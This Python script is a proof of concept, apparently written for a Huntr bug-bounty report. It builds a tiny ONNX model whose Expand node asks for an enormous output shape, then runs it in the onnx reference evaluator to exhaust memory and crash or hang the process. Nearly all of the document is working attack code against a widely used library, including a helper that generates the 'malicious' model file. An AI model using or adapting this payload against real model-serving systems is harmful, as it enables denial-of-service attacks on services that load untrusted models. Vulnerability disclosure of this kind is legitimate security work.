#!/usr/bin/env python3
"""
PoC: Unbounded Memory Allocation in ONNX Expand Reference Implementation
Target: onnx package (onnx/reference/ops/op_expand.py)
Bounty: $4,000 — Huntr.com

Impact: DoS via OOM crash — malicious ONNX model with huge Expand shape
File size: ~100 bytes (minimal ONNX model)
"""

import struct
import tempfile
import os
import time

def create_malicious_onnx_model(expand_shape: list[int]) -> bytes:
    """
    Create a minimal ONNX model with an Expand node that tries to allocate
    expand_shape elements.
    
    For expand_shape = [100000, 100000, 100000], this would try to allocate
    10^15 * 4 bytes = 4 petabytes — guaranteed OOM.
    """
    import onnx
    from onnx import helper, numpy_helper, TensorProto, TensorShapeProto
    
    # Create a small input tensor (1 element)
    input_tensor = numpy_helper.from_array(
        __import__('numpy').array([1.0], dtype=__import__('numpy').float32),
        name="input"
    )
    
    # Create shape constant with HUGE values
    shape_tensor = numpy_helper.from_array(
        __import__('numpy').array(expand_shape, dtype=__import__('numpy').int64),
        name="shape"
    )
    
    # Create Expand node
    expand_node = helper.make_node(
        "Expand",
        inputs=["input", "shape"],
        outputs=["output"]
    )
    
    # Create graph
    graph_def = helper.make_graph(
        [expand_node],
        "malicious_graph",
        [
            helper.make_tensor_value_info("input", TensorProto.FLOAT, [1]),
            helper.make_tensor_value_info("shape", TensorProto.INT64, [len(expand_shape)]),
        ],
        [helper.make_tensor_value_info("output", TensorProto.FLOAT, None)],
        [input_tensor, shape_tensor]
    )
    
    # Create model
    model_def = helper.make_model(
        graph_def,
        producer_name="malicious",
        opset_imports=[helper.make_opsetid("", 13)]
    )
    
    # Validate (this might fail if checker catches it)
    try:
        onnx.checker.check_model(model_def)
    except Exception:
        pass  # Checker may or may not catch this
    
    return model_def.SerializeToString()


def test_with_reference_runtime():
    """Test the vulnerability against ONNX reference runtime."""
    import numpy as np
    
    # Test with moderately large shape first (should trigger allocation)
    print("[1/3] Testing with small expand shape [2, 2, 2]...")
    try:
        model_bytes = create_malicious_onnx_model([2, 2, 2])
        print(f"   Model size: {len(model_bytes)} bytes")
        
        from onnx.reference import ReferenceEvaluator
        sess = ReferenceEvaluator(model_bytes)
        result = sess.run(None, {})  # Fixed: added empty dict for feed_inputs
        print(f"   ✅ Small shape works: output shape = {result[0].shape}")
    except Exception as e:
        print(f"   ⚠️ Unexpected error: {type(e).__name__}: {e}")
    
    # Test with larger shape (should start consuming memory)
    print("\n[2/3] Testing with medium expand shape [1000, 1000]...")
    print("   (This will try to allocate 10^6 floats = 4MB)")
    try:
        model_bytes = create_malicious_onnx_model([1000, 1000])
        print(f"   Model size: {len(model_bytes)} bytes")
        
        import tracemalloc
        tracemalloc.start()
        
        from onnx.reference import ReferenceEvaluator
        sess = ReferenceEvaluator(model_bytes)
        result = sess.run(None, {})  # Fixed: added empty dict for feed_inputs
        
        current, peak = tracemalloc.get_traced_memory()
        tracemalloc.stop()
        
        print(f"   ✅ Medium shape works: output shape = {result[0].shape}")
        print(f"   Peak memory: {peak / 1024 / 1024:.1f} MB")
        
    except MemoryError as e:
        print(f"   ❌ MemoryError: {e}")
        print("   ✅ VULNERABLE — Memory exhaustion confirmed!")
    except Exception as e:
        print(f"   ⚠️ {type(e).__name__}: {str(e)[:100]}")
    
    # Test with huge shape (should definitely OOM)
    print("\n[3/3] Testing with huge expand shape [10000, 10000, 10000]...")
    print("   (This would try to allocate 10^12 floats = 4TB — will OOM)")
    print("   ⏱️ 10 second timeout...")
    
    import signal
    
    def handler(s, f):
        raise TimeoutError("VULNERABLE — process hung or OOM killed")
    
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(10)
    
    try:
        model_bytes = create_malicious_onnx_model([10000, 10000, 10000])
        print(f"   Model created: {len(model_bytes)} bytes")
        print(f"   Would allocate: {10000*10000*10000 * 4 / 1024**3:.0f} GB")
        
        from onnx.reference import ReferenceEvaluator
        sess = ReferenceEvaluator(model_bytes)
        result = sess.run(None, {})  # Fixed: added empty dict for feed_inputs
        
        signal.alarm(0)
        print(f"   ⚠️ Loaded successfully? Unexpected. Shape: {result[0].shape}")
        
    except TimeoutError as e:
        print(f"   ❌ TIMEOUT: {e}")
        print("   ✅ VULNERABLE — DoS confirmed (process hung or killed)")
    except MemoryError as e:
        signal.alarm(0)
        print(f"   ❌ MemoryError: {e}")
        print("   ✅ VULNERABLE — OOM crash confirmed!")
    except Exception as e:
        signal.alarm(0)
        print(f"   ⚠️ {type(e).__name__}: {str(e)[:100]}")


if __name__ == "__main__":
    print("=" * 60)
    print("PoC: ONNX Expand Unbounded Memory Allocation")
    print("Target: onnx/reference/ops/op_expand.py")
    print("=" * 60)
    print()
    
    test_with_reference_runtime()
    
    print("\n" + "=" * 60)
    print("DONE")
    print("=" * 60)